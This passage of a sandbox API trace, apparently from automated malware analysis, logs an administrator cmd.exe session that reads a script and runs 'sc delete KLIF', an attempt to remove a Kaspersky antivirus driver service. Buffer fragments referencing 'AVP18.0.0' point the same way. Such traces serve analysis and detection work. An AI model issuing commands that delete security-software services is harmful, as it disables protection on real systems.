(_FileHandle=0) returned 0xb8 [0067.211] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.211] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.211] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete \"AVP18.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.211] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.211] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.211] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.212] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te \"AVP18.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.212] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.212] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.212] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.212] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e \"AVP18.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.212] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.212] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.212] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.212] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" \"AVP18.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.212] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.212] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.212] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.212] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="KAVP18.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.212] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.212] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.212] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.212] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="LVP18.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.212] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.212] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.213] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.213] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="IP18.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.213] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.213] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.213] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.213] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="F18.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.213] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.213] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.213] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.213] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0067.213] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.213] GetFileType (hFile=0xb8) returned 0x3 [0067.213] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.213] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.213] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.213] GetFileType (hFile=0x120) returned 0x3 [0067.214] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.214] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete KLIF\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete KLIF\n", lpUsedDefaultChar=0x0) returned 16 [0067.214] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0xf, lpOverlapped=0x0) returned 1 [0067.214] GetProcessHeap () returned 0x1b0000 [0067.214] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1d8630 [0067.214] GetProcessHeap () returned 0x1b0000 [0067.214] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d8630 | out: hHeap=0x1b0000) returned 1 [0067.214] GetProcessHeap () returned 0x1b0000 [0067.214] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0067.214] GetProcessHeap () returned 0x1b0000 [0067.214] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0067.214] GetProcessHeap () returned 0x1b0000 [0067.214] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x2a) returned 0x1c6510 [0067.214] GetConsoleOutputCP () returned 0x1b5 [0067.215] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0067.215] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0067.215] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0067.215] GetProcessHeap () returned 0x1b0000 [0067.215] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0067.215] GetProcessHeap () returned 0x1b0000 [0067.215] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x30) returned 0x1c6550 [0067.215] GetProcessHeap () returned 0x1b0000 [0067.215] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cc5b0 [0067.215] SetErrorMode (uMode=0x0) returned 0x1 [0067.215] SetErrorMode (uMode=0x1) returned 0x0 [0067.215] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cc5c0, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0067.215] SetErrorMode (uMode=0x1) returned 0x1 [0067.216] GetProcessHeap () returned 0x1b0000 [0067.216] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc5b0, Size=0x62) returned 0x1cc5b0 [0067.216] GetProcessHeap () returned 0x1b0000 [0067.216] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc5b0) returned 0x62 [0067.216] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0067.216] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0067.216] GetProcessHeap () returned 0x1b0000 [0067.216] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0067.216] GetProcessHeap () returned 0x1b0000 [0067.216] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0067.216] GetProcessHeap () returned 0x1b0000 [0067.216] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0067.216] GetProcessHeap () returned 0x1b0000 [0067.216] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0067.216] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0067.216] GetProcessHeap () returned 0x1b0000 [0067.216] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0067.216] GetProcessHeap () returned 0x1b0000 [0067.216] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0067.216] GetProcessHeap () returned 0x1b0000 [0067.216] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0067.216] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0067.217] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0067.217] GetLastError () returned 0x2 [0067.217] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0067.217] GetLastError () returned 0x2 [0067.217] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0067.217] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0067.217] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0067.218] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0067.218] GetLastError () returned 0x2 [0067.218] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0067.218] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0067.218] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0067.218] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0067.218] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0067.218] GetProcessHeap () returned 0x1b0000 [0067.218] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0067.218] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0067.219] GetProcessHeap () returned 0x1b0000 [0067.219] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0x96) returned 0x1c9180 [0067.219] GetProcessHeap () returned 0x1b0000 [0067.219] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0x96 [0067.219] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete KLIF") returned 1 [0067.220] GetProcessHeap () returned 0x1b0000 [0067.220] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0067.220] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0067.220] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0067.220] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0067.220] GetProcessHeap () returned 0x1b0000 [0067.220] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0067.220] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0067.220] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0067.220] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0067.220] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0067.220] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0067.220] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0067.220] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0067.220] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0067.220] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0067.220] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0067.220] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0067.220] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0067.220] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0067.221] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0067.221] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0067.221] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0067.221] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0067.221] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0067.221] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0067.221] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0067.221] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0067.221] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0067.221] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0067.221] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0067.221] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0067.221] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0067.221] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0067.221] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0067.221] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0067.221] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0067.221] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0067.221] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0067.221] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0067.221] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0067.221] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0067.221] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0067.221] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0067.221] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0067.222] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0067.222] GetProcessHeap () returned 0x1b0000 [0067.222] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0067.222] GetProcessHeap () returned 0x1b0000 [0067.222] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0067.222] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete KLIF", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete KLIF", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete KLIF", lpProcessInformation=0x14ee20*(hProcess=0x54, hThread=0x50, dwProcessId=0x898, dwThreadId=0x8a8)) returned 1 [0067.229] CloseHandle (hObject=0x50) returned 1 [0067.229] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0067.229] GetProcessHeap () returned 0x1b0000 [0067.229] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0067.230] GetEnvironmentStringsW () returned 0x1d1b10* [0067.230] GetProcessHeap () returned 0x1b0000 [0067.230] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0067.230] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0067.230] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0067.230] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd5000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0067.230] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0067.289] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0067.289] CloseHandle (hObject=0x54) returned 1 [0067.289] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0067.289] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0067.289] GetProcessHeap () returned 0x1b0000 [0067.290] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0067.290] GetEnvironmentStringsW () returned 0x1d1b10* [0067.290] GetProcessHeap () returned 0x1b0000 [0067.290] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0067.290] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0067.290] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0067.290] GetProcessHeap () returned 0x1b0000 [0067.290] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0067.290] GetEnvironmentStringsW () returned 0x1d1b10* [0067.290] GetProcessHeap () returned 0x1b0000 [0067.290] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0067.290] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0067.290] GetProcessHeap () returned 0x1b0000 [0067.290] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0067.290] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0067.290] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0067.291] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.291] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0067.291] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.291] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0067.291] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.292] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0067.292] GetConsoleOutputCP () returned 0x1b5 [0067.292] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0067.292] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0067.292] GetProcessHeap () returned 0x1b0000 [0067.292] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0067.292] GetProcessHeap () returned 0x1b0000 [0067.292] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0067.293] GetProcessHeap () returned 0x1b0000 [0067.293] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0067.293] GetProcessHeap () returned 0x1b0000 [0067.293] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc5b0 | out: hHeap=0x1b0000) returned 1 [0067.293] GetProcessHeap () returned 0x1b0000 [0067.293] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6550 | out: hHeap=0x1b0000) returned 1 [0067.293] GetProcessHeap () returned 0x1b0000 [0067.293] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0067.293] GetProcessHeap () returned 0x1b0000 [0067.293] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6510 | out: hHeap=0x1b0000) returned 1 [0067.293] GetProcessHeap () returned 0x1b0000 [0067.293] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0067.293] GetProcessHeap () returned 0x1b0000 [0067.293] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0067.293] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0067.294] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.294] GetFileType (hFile=0x120) returned 0x3 [0067.294] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.294] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0067.294] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0067.294] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0067.294] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0067.294] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: 